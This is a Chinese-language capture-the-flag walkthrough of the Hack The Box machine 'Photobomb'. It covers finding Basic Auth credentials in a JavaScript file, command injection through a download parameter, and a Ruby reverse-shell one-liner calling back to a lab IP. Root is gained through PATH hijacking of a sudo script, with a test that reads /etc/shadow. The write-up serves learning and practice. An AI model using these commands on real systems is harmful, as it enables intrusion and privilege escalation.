HTB-Photobomb
- 信息收集
- 开机
- 提权
- 对于问题的思考
信息收集
端口扫描
目标首页
有一个http Authorization
目录扫描
在查看源码的时候发现了一个js文件。
并且发现了访问不存在的目录会出现错误提示。
通过搜索得知
Sinatra 是一个基于 Ruby 语言的 DSL(领域专属语言),可以轻松、快速的创建 web 应用。-------Sinatra 中文文档
通过上面发现了http Authorization的登陆凭证pH0t0:b0Mb!
,使用凭证登录。
登陆进去没有发现什么,决定开始第二次信息收集,没错,没有额外收获。对其下载功能使用bp,能看见三个参数。
估计突破口在这三个参数当中,谁知道呢,因为前面知道Sinatra,所以首先考虑ruby,经过简单测试发现突破点应在filetype,并且无法正确回弹。
开机
没关系,至少证明我应该找到方向了,但是为什么会回弹没有完全成功。不会防火墙拦截了吧。更换了一个ruby的reshell脚本。
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.9",1234))'
提权
通过sudo -l能发现一个文件。
文件内容与下,最重要的应该是最后一句。在source_images目录里找到所有jpg文件并且给予root:root。
立即想到的方法是通过这个脚本修改所属者和组的权限,使用bash -p选项将root组添加至wizard用户组。似乎不行。
虽然在hacktrick上找到了可能能用的方法,但是我没研究出来。
又出现问题了,大概率是用法不对。
因为脚本使用的find命令,注意这个find命令并不是绝对路径。
又因为系统环境变量PATH里面有/usr/bin,所以我们能够直接用find调用/usr/bin/find。
如果我对系统变量进行修改,使之find为我们自己创建的一个同名文件。
接着要做的就是把/tmp目录添加到系统环境变量里。
PATH=/tmp:$PATH
然后执行脚本发现没有作用,为什么呢。
然后尝试以下方式能成功,这又是为什么。
对于问题的思考
为了知道那两个为什么,我做了个实验。tee.sh里面只有id命令,然后当前目录下有一个id同名文件,在修改系统环境变量命令后面加上要执行的脚本,就会出现要执行的脚本使用前面系统环境变量里面的id文件(也就是当前目录下的id)。
id内容如下。
tee.sh的内容为。
先分开运行看看。能看到加入环境变量前后id的命令发生了改变,并且再用sudo会发现tee.sh文件内的id是查看用户(组)的命令,而不是cat /etc/shadow。
这次加上合着一起用。可以看到使用sudo执行了当前目录文件id的cat /etc/shadow。
也就是说如果需要让脚本内的命令以某个路径下的同名命令替换运行并以sudo权限运行的话就需要sudo PATH:somepath:$PATH somescript.sh
。至于为什么,我觉得以我目前的水平只能认为这可能是一种固定的使用方式,至于真的是否如此,只有等日后探究真相。